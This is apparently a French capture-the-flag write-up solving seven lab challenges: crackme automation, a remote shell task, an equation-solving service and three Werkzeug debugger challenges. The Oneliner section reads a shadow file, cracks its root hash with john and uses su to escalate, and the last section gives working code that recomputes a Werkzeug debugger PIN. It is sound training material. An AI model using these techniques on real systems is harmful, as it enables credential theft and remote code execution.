– – Sommaire – –
- [Reverse] InfiniteCrackme 1
- [Reverse] InfiniteCrackme 2
- [Misc] Oneliner
- [Programming] Mathematician
- [Web] Werkzeug Fuzzing 1
- [Web] Werkzeug Fuzzing 2
- [Web] Werkzeug Fuzzing 3
[Reverse] InfiniteCrackme 1
Source de téléchargement
- challenge.tar.gz (sha1sum: 632c497b36ec882055b4a5275968409c012c1226)
Consignes
Flag is:
result = PASSWORD_chall_OOO + ... + PASSWORD_chall_299
'HSR{' + hashlib.md5(result.encode()).hexdigest() + '}'
Extraction des données
$ tar xvf challenge.tar.gz
files/chall_246
files/chall_293
...
files/chall_047
files/chall_062
Reverse du premier binaire
$ ./files/chall_000
Enter password :
aaa
NOPE
$ ltrace files/chall_000
puts("Enter password : "Enter password :
) = 18
__isoc99_scanf(0x555cfa95d016, 0x7fffaa5ec230, 0, 0x7fa47ae6bf33aaa
) = 1
strcmp("aaa", "WhccImOXzyNovjtiECAs") = 10
puts("NOPE"NOPE
) = 5
+++ exited (status 0) +++
$ echo "WhccImOXzyNovjtiECAs"|./files/chall_000
Enter password :
OK
Automatisation
flag=""
for i in ./files/*; do
password=$(echo aaa|ltrace $i 2>&1|grep strcmp|cut -d '"' -f4)
flag=$flag$password
done
result=$(echo -n $flag | md5sum | awk '{print $1}')
echo "HSR{$result}"
On obtient: HSR{95488aa9905d8a474620862be79f7308}
[Reverse] InfiniteCrackme 2
Source de téléchargement
- challenge.tar.gz (sha1sum: ed48ee95b33c55e553ac76564ce2758d403616a1)
Consignes
Flag is:
result = PASSWORD_chall_OOO + ... + PASSWORD_chall_299
'HSR{' + hashlib.md5(result.encode()).hexdigest() + '}'
Extraction des données
$ tar xvf challenge.tar.gz
files/chall_051
files/chall_033
...
files/chall_240
files/chall_022
Reverse du premier binaire
$ radare2 ./files/chall_000
[0x00001060]> aaa
[0x00001060]> afl
0x00001145 11 276 main
[0x00001060]> pdf @ main
; DATA XREF from entry0 @ 0x107d
┌ 276: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_60h @ rbp-0x60
│ ; var int64_t var_58h @ rbp-0x58
│ ; var int64_t var_50h @ rbp-0x50
│ ; var int64_t var_48h @ rbp-0x48
│ ; var int64_t var_40h @ rbp-0x40
│ ; var int64_t var_38h @ rbp-0x38
│ ; var int64_t var_30h @ rbp-0x30
│ ; var int64_t var_28h @ rbp-0x28
│ ; var int64_t var_20h @ rbp-0x20
│ ; var int64_t var_4h @ rbp-0x4
│ 0x00001145 55 push rbp
│ 0x00001146 4889e5 mov rbp, rsp
│ 0x00001149 4883ec60 sub rsp, 0x60
│ 0x0000114d 48b83d774e4b. movabs rax, 0x646568464b4e773d ; '=wNKFhed'
│ 0x00001157 48ba35372e2a. movabs rdx, 0x6d393f5a2a2e3735 ; '57.*Z?9m'
│ 0x00001161 488945c0 mov qword [var_40h], rax
│ 0x00001165 488955c8 mov qword [var_38h], rdx
│ 0x00001169 48c745d02668. mov qword [var_30h], 0x214d6826 ; '&hM!'
│ 0x00001171 c645d800 mov byte [var_28h], 0
│ 0x00001175 48b8703e2d2f. movabs rax, 0x232f38222f2d3e70 ; 'p>-/\"8/#'
│ 0x0000117f 48ba7e5f6c52. movabs rdx, 0x3b634f2b526c5f7e ; '~_lR+Oc;'
│ 0x00001189 488945a0 mov qword [var_60h], rax
│ 0x0000118d 488955a8 mov qword [var_58h], rdx
│ 0x00001191 48c745b06c23. mov qword [var_50h], 0x702e236c ; 'l#.p'
│ 0x00001199 c645b800 mov byte [var_48h], 0
│ 0x0000119d 488d3d600e00. lea rdi, str.Enter_password_:_ ; 0x2004 ; "Enter password : " ; const char *s
│ 0x000011a4 e887feffff call sym.imp.puts ; int puts(const char *s)
│ 0x000011a9 488d45e0 lea rax, [var_20h]
│ 0x000011ad 4889c6 mov rsi, rax
│ 0x000011b0 488d3d5f0e00. lea rdi, [0x00002016] ; "%s" ; const char *format
│ 0x000011b7 b800000000 mov eax, 0
│ 0x000011bc e87ffeffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ 0x000011c1 c745fc000000. mov dword [var_4h], 0
│ ┌─< 0x000011c8 eb04 jmp 0x11ce
│ │ ; CODE XREF from main @ 0x120c
│ ┌──> 0x000011ca 8345fc01 add dword [var_4h], 1
│ ╎│ ; CODE XREF from main @ 0x11c8
│ ╎└─> 0x000011ce 8b45fc mov eax, dword [var_4h]
│ ╎ 0x000011d1 4898 cdqe
│ ╎ 0x000011d3 0fb65405e0 movzx edx, byte [rbp + rax - 0x20]
│ ╎ 0x000011d8 8b45fc mov eax, dword [var_4h]
│ ╎ 0x000011db 4898 cdqe
│ ╎ 0x000011dd 0fb64c05c0 movzx ecx, byte [rbp + rax - 0x40]
│ ╎ 0x000011e2 8b45fc mov eax, dword [var_4h]
│ ╎ 0x000011e5 4898 cdqe
│ ╎ 0x000011e7 0fb64405a0 movzx eax, byte [rbp + rax - 0x60]
│ ╎ 0x000011ec 31c8 xor eax, ecx
│ ╎ 0x000011ee 38c2 cmp dl, al
│ ╎┌─< 0x000011f0 751c jne 0x120e
│ ╎│ 0x000011f2 8b45fc mov eax, dword [var_4h]
│ ╎│ 0x000011f5 4898 cdqe
│ ╎│ 0x000011f7 0fb64405c0 movzx eax, byte [rbp + rax - 0x40]
│ ╎│ 0x000011fc 84c0 test al, al
│ ┌───< 0x000011fe 740e je 0x120e
│ │╎│ 0x00001200 8b45fc mov eax, dword [var_4h]
│ │╎│ 0x00001203 4898 cdqe
│ │╎│ 0x00001205 0fb64405a0 movzx eax, byte [rbp + rax - 0x60]
│ │╎│ 0x0000120a 84c0 test al, al
│ │└──< 0x0000120c 75bc jne 0x11ca
│ │ │ ; CODE XREFS from main @ 0x11f0, 0x11fe
│ └─└─> 0x0000120e 8b45fc mov eax, dword [var_4h]
│ 0x00001211 4898 cdqe
│ 0x00001213 0fb64405e0 movzx eax, byte [rbp + rax - 0x20]
│ 0x00001218 84c0 test al, al
│ ┌─< 0x0000121a 752a jne 0x1246
│ │ 0x0000121c 8b45fc mov eax, dword [var_4h]
│ │ 0x0000121f 4898 cdqe
│ │ 0x00001221 0fb64405c0 movzx eax, byte [rbp + rax - 0x40]
│ │ 0x00001226 84c0 test al, al
│ ┌──< 0x00001228 751c jne 0x1246
│ ││ 0x0000122a 8b45fc mov eax, dword [var_4h]
│ ││ 0x0000122d 4898 cdqe
│ ││ 0x0000122f 0fb64405a0 movzx eax, byte [rbp + rax - 0x60]
│ ││ 0x00001234 84c0 test al, al
│ ┌───< 0x00001236 750e jne 0x1246
│ │││ 0x00001238 488d3dda0d00. lea rdi, [0x00002019] ; "OK" ; const char *s
│ │││ 0x0000123f e8ecfdffff call sym.imp.puts ; int puts(const char *s)
│ ┌────< 0x00001244 eb0c jmp 0x1252
│ ││││ ; CODE XREFS from main @ 0x121a, 0x1228, 0x1236
│ │└└└─> 0x00001246 488d3dcf0d00. lea rdi, str.NOPE ; 0x201c ; "NOPE" ; const char *s
│ │ 0x0000124d e8defdffff call sym.imp.puts ; int puts(const char *s)
│ │ ; CODE XREF from main @ 0x1244
│ └────> 0x00001252 b800000000 mov eax, 0
│ 0x00001257 c9 leave
└ 0x00001258 c3 ret
La partie qui nous intéresse est la suivante:
│ ╎ 0x000011ec 31c8 xor eax, ecx
│ ╎ 0x000011ee 38c2 cmp dl, al
│ ╎┌─< 0x000011f0 751c jne 0x120e
Le programme effectue des opérations entre deux chaines de caractères (ici un xor) et compare les deux caractères entre
l’input et le password, il suffit de placer un breakpoint au niveau du cmp dl, al
pour regarder dans rax
la valeur
du premier caractere du mot de passe et ainsi de suite.
On utilisera ensuite des profile rarun2 pour completer le mot de passe au fur et a mesure en stdin pour récupérer chaque caractère
#!/usr/bin/rarun2
stdin=tmp/chall_000_pass.txt
Automatisation
On utilise la librarie r2pipe
pour communiquer avec radare2, et on parallélise les taches avec
multiprocessing.pool
pour gagner en efficacité
import binascii
import hashlib
from multiprocessing.pool import ThreadPool
import re
import r2pipe
import os
import pwn
import shutil
import subprocess
from functools import lru_cache
def clean():
shutil.rmtree('files', ignore_errors=True)
shutil.rmtree('tmp', ignore_errors=True)
def start():
os.mkdir('tmp')
os.system('tar -C . -xvf ../challenge.tar.gz > /dev/null')
for filename in sorted(os.listdir('files')):
open(f'tmp/{filename}_pass.txt', 'a').close()
with open(f'tmp/{filename}_profile.rr2', 'w') as f:
f.write(f'#!/usr/bin/rarun2\nstdin=tmp/{filename}_pass.txt\n')
def check_password(filename, password):
echo_process = subprocess.Popen(["echo", password], stdout=subprocess.PIPE)
r2_process = subprocess.Popen([filename], stdin=echo_process.stdout, stdout=subprocess.PIPE)
result = r2_process.communicate()
return 'NOPE' not in result
def init(r2, password, filename):
with open(f'tmp/{filename}_pass.txt', 'w') as f:
f.write(f'{password}')
r2.cmd(f'e dbg.profile=tmp/{filename}_profile.rr2')
r2.cmd('ood')
r2.cmd('aa')
result = r2.cmd('pdf @ sym.main')
pattern = r'\n.*0x(.*?) cmp dl, al'
addr = re.findall(pattern, result)[0].split(' ')[0]
r2.cmd(f'db 0x{addr}')
def make_stuff(filename, p):
password, char = '', '?'
r2 = r2pipe.open(f'files/{filename}', flags=['-d', '-2'])
init(r2, password, filename)
for step in range(40):
result = r2.cmd('dc')
while 'Enter' not in result:
registers = r2.cmd('dr')
value = re.findall(r'rax = 0x000000(.*?)\n', registers)[0]
char = binascii.unhexlify(value).decode()
result = r2.cmd('dc')
if 'OK' in result:
p.success(password)
return password
password += char
p.status(password)
r2 = r2pipe.open(f'files/{filename}', flags=['-d', '-2'])
init(r2, password, filename)
@lru_cache()
def get_flag(filename):
with pwn.log.progress(f'FLAG ({filename})') as p:
password = make_stuff(filename, p)
return password
def solve_block(block, tp):
try:
return tp.map(get_flag, block)
except IndexError as _:
pass
def main():
FLAGS = []
clean()
start()
files = sorted(os.listdir('files'))
pad = 5
blocks = []
for i in range(0, len(files), pad):
blocks += [files[i:i + pad]]
for block in blocks:
pwn.log.info(f'Starting ThreadPool with {len(block)} threads')
with ThreadPool(len(block)) as tp:
result = solve_block(block, tp)
while result is None:
pwn.log.info(f'Retry some flags...')
result = solve_block(block, tp)
FLAGS += result
result = ''.join(FLAGS)
print()
pwn.log.success('FLAG = HSR{' + hashlib.md5(result.encode()).hexdigest() + '}')
clean()
if __name__ == '__main__':
main()
On obtient: HSR{0870c7a157d6bb8bd0989db4df1cc58f}
[Misc] Oneliner
Consignes
nc 10.22.6.101 15001
Exploration
Les commandes envoyés via ce flux retourne le résultat d’une commande shell:
$ nc 10.22.6.101 15001
Send me something.
whoami
noob
En explorant les dossiers du $HOME
on tombe sur un fichier shadow
contenant les données suivantes:
root:$6$Fmbc/WIUv1/wz9HO$zFGPCl6WmPHwwm7h.DEWjI/Ie2iXSYCir6zyiQIraNDv9SHyls8s8aCVQCq2WPY1EvC/BHwS7FtKOaFR6dS.v.:19054:0:99999:7:::
noob:$6$9YJYhryw4tLAllN3$TrPoPr3MVd9Bj3Ft0Y3wbpCHBqGeZmZF5AYeJS2Mv9vanPHl7lOLNIgR3c4IdQkgxnaGs6NLhT894nWOpU/bU/:19054:0:99999:7:::
On extrait également le fichier /etc/passwd
:
root:x:0:0:root:/root:/bin/bash
noob:x:1000:1000::/home/noob:/bin/bash
On essaye de casser les hashs avec une wordlist:
$ unshadow /tmp/passwd /tmp/shadow > /tmp/hashes
$ john /tmp/hashes --wordlist=$HOME/Downloads/rockyou.txt
Loaded 2 password hashes with 2 different salts (crypt, generic crypt(3) [?/64])
Remaining 1 password hash
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:29 0% 0g/s 3257p/s 3257c/s 3257C/s 19061988..131518
0g 0:00:01:30 1% 0g/s 3308p/s 3308c/s 3308C/s nishikido..nika15
0g 0:00:04:38 5% 0g/s 3304p/s 3304c/s 3304C/s ingridutza..infinity19
0g 0:00:07:16 9% 0g/s 3312p/s 3312c/s 3312C/s netta01..nethic
0g 0:00:08:42 10% 0g/s 3311p/s 3311c/s 3311C/s huunghia..hustler01
jumpingjacks77 (root)
1g 0:00:35:10 100% 0.000473g/s 3230p/s 3230c/s 3230C/s jumpingjimmy..jumphawk82
Use the "--show" option to display all of the cracked passwords reliably
Session completed
$ john --show /tmp/hashes
root:jumpingjacks77:0:0:root:/root:/bin/bash
noob:noob:1000:1000::/home/noob:/bin/bash
2 password hashes cracked, 0 left
$ nc 10.22.6.101 15001
Send me something.
echo jumpingjacks77|su -c whoami
root
$ nc 10.22.6.101 15001
Send me something.
echo jumpingjacks77|su -c 'ls -l /root'
total 4
-r-------- 1 root root 28 Feb 20 18:35 cd5b272bcc6f4797cb6523ec8cae0.txt
$ nc 10.22.6.101 15001
Send me something.
echo jumpingjacks77|su -c 'cat /root/cd5b272bcc6f4797cb6523ec8cae0.txt'
HSR{Y0u_ar3_aN_UN1X_Exp3RT}
On obtient: HSR{Y0u_ar3_aN_UN1X_Exp3RT}
[Programming] Mathematician
Consignes
Are you good at solving equations ?
nc 10.22.6.101 15003
infos:
type(PASSWORD) --> string
PASSWORD[0] = ord(first letter of password)
Résolution
$ nc 10.22.6.101 15003
[*] Objectif: Resoudre le systeme d'equation afin de retrouver le mot de passe...
[-->]
[+] -31*PASSWORD[0] + -88*PASSWORD[1] + -25*PASSWORD[2] + -18*PASSWORD[3] + 26*PASSWORD[4] + -98*PASSWORD[5] + -18*PASSWORD[6] + 37*PASSWORD[7] + 82*PASSWORD[8] + 66*PASSWORD[9] + 59*PASSWORD[10] + 51*PASSWORD[11] + 1*PASSWORD[12] + 50*PASSWORD[13] + -3*PASSWORD[14] + 41*PASSWORD[15] + 88*PASSWORD[16] + -68*PASSWORD[17] + 52*PASSWORD[18] + -72*PASSWORD[19] + -43*PASSWORD[20] + 6*PASSWORD[21] + 20*PASSWORD[22] + 47*PASSWORD[23] + 43*PASSWORD[24] + -78*PASSWORD[25] + -95*PASSWORD[26] + -56*PASSWORD[27] + -94*PASSWORD[28] + 59*PASSWORD[29] + -13*PASSWORD[30] + 23*PASSWORD[31] + -11*PASSWORD[32] + 62*PASSWORD[33] + -28*PASSWORD[34] + 13*PASSWORD[35] + -83*PASSWORD[36] + 97*PASSWORD[37] + -39*PASSWORD[38] + 9*PASSWORD[39] = -8091
...
40*PASSWORD[0] + -54*PASSWORD[1] + 43*PASSWORD[2] + 85*PASSWORD[3] + 95*PASSWORD[4] + -51*PASSWORD[5] + -90*PASSWORD[6] + -1*PASSWORD[7] + -75*PASSWORD[8] + 86*PASSWORD[9] + -31*PASSWORD[10] + 90*PASSWORD[11] + 55*PASSWORD[12] + -56*PASSWORD[13] + -61*PASSWORD[14] + 25*PASSWORD[15] + 77*PASSWORD[16] + -86*PASSWORD[17] + 6*PASSWORD[18] + 51*PASSWORD[19] + -38*PASSWORD[20] + -39*PASSWORD[21] + 52*PASSWORD[22] + -73*PASSWORD[23] + 31*PASSWORD[24] + 36*PASSWORD[25] + -75*PASSWORD[26] + -91*PASSWORD[27] + -22*PASSWORD[28] + -50*PASSWORD[29] + -30*PASSWORD[30] + -23*PASSWORD[31] + -56*PASSWORD[32] + 30*PASSWORD[33] + -10*PASSWORD[34] + 93*PASSWORD[35] + 48*PASSWORD[36] + -28*PASSWORD[37] + 53*PASSWORD[38] + -88*PASSWORD[39] = -11630
[+] Resultat ??
On doit résoudre un système d’équation, on va utiliser la lib python z3-solver
:
from z3 import *
import pwn
import re
import time
r = pwn.remote('10.22.6.101', 15003)
time.sleep(1)
def get_matrix(recv: bytes):
A, B = [], []
print(recv.split(b'\n')[1].decode())
items = [item for item in recv.split(b'\n') if b'PASSWORD' in item]
items = [b' ' + item for item in items] # fix for regex matching
for x in items:
A.append([int(i.decode().strip()) for i in re.findall(b'([ |-]\d+)\*PAS', x)])
B.append(int(re.findall(b'= (.*?)$', x)[0].decode()))
return A, B
recv = r.recvrepeat(0.2)
while b'HSR' not in recv:
(A, B) = get_matrix(recv)
result = IntVector('x', len(B))
s = Solver()
for i in range(len(A)):
line = f's.add('
for j in range(len(A[i])):
line += f'{A[i][j]}*result[{j}] + '
line = line[:-3] + f' == {B[i]})'
eval(line)
s.check()
result = s.model()
result = re.findall(b'x__(\d+) = (\d+)', str(result).encode())
result = sorted(result, key=lambda x: int(x[0].decode()))
password = ''.join([chr(int(x[1].decode())) for x in result])
r.sendline(password.encode())
recv = r.recvrepeat(0.2)
print(recv.decode())
On obtient: HSR{I_H0p3_U_uS3d_tH3_m4G1cal_z3_s0lV3r}
[Web] Werkzeug Fuzzing 1
Consignes
http://10.22.6.101:17003
Exploration
En jouant avec l’input manuellement http://10.22.6.101:17003/?num=2, on est capable d’afficher le carré d’un nombre
Résolution
En essayant de mettre autre chose qu’un nombre on obtient sur http://10.22.6.101:17003/?num=a:
On obtient: HSR{34sy_fuZZ1nG}
[Web] Werkzeug Fuzzing 2
Consignes
http://10.22.6.101:17003
Résolution
On essaye d’obtenir un autre bug en essayant tous les caractères possibles
import requests
url = "http://10.22.6.101:17003"
i = 0
code = 200
while code == 200:
r = requests.get(f'{url}/?num={chr(i)}')
code = r.status_code
i+=1
print(f'{url}/?num={chr(i)}')
On requête donc http://10.22.6.101:17003/?num=³
On obtient: HSR{B3tt3r_FuZz1ng}
[Web] Werkzeug Fuzzing 3
Consignes
The web application is running as root, prove you can collect enough information on the server to compute the pin code
ssh user@10.22.6.101 -p 17002 (password: user)
http://10.22.6.101:17003
Get root!
Résolution
L’objectif est de recalculer le pin code werkzeug à partir des données obtenues sur la machine en tant qu’utilisateur non privilégié. Nous avons l’information qu l’application tourne en tant que l’utilisateur root
$ ssh user@10.22.6.101 -p 17002
12dc5e96a37f:~$ find /usr/ -name werkzeug
/usr/local/lib/python3.10/site-packages/werkzeug
On parse le contenu du code de /usr/local/lib/python3.10/site-packages/werkzeug/debug/__init__.py
pour ne garder que
le contenu utile pour calculer le pin code:
import getpass
import hashlib
import json
import os
import pkgutil
import re
import sys
import time
import typing as t
import uuid
from itertools import chain
_machine_id = None
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
_machine_id = _generate()
return _machine_id
def compute_pin_code(probably_public_bits, private_bits):
rv = None
num = None
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv
probably_public_bits = ['root', 'flask.app', 'Flask', '/usr/local/lib/python3.10/site-packages/flask/app.py']
print(probably_public_bits)
private_bits = [str(uuid.getnode()), get_machine_id()]
print(private_bits)
pin_code = compute_pin_code(probably_public_bits, private_bits)
print(pin_code)
On obtient alors:
['root', 'flask.app', 'Flask', '/usr/local/lib/python3.10/site-packages/flask/app.py']
['2485377892358', b'e0d5b3b6-0260-43a2-a9d6-8b08f513689212dc5e96a37fd3ec11544ebf61074579537fba3a87c538da942c6eda3eba66c9']
117-271-285
En utilisant ce pin code depuis la console on obtient le flag.
On obtient: HSR{r00t3d_fuZZ1ng_m4ch1n3}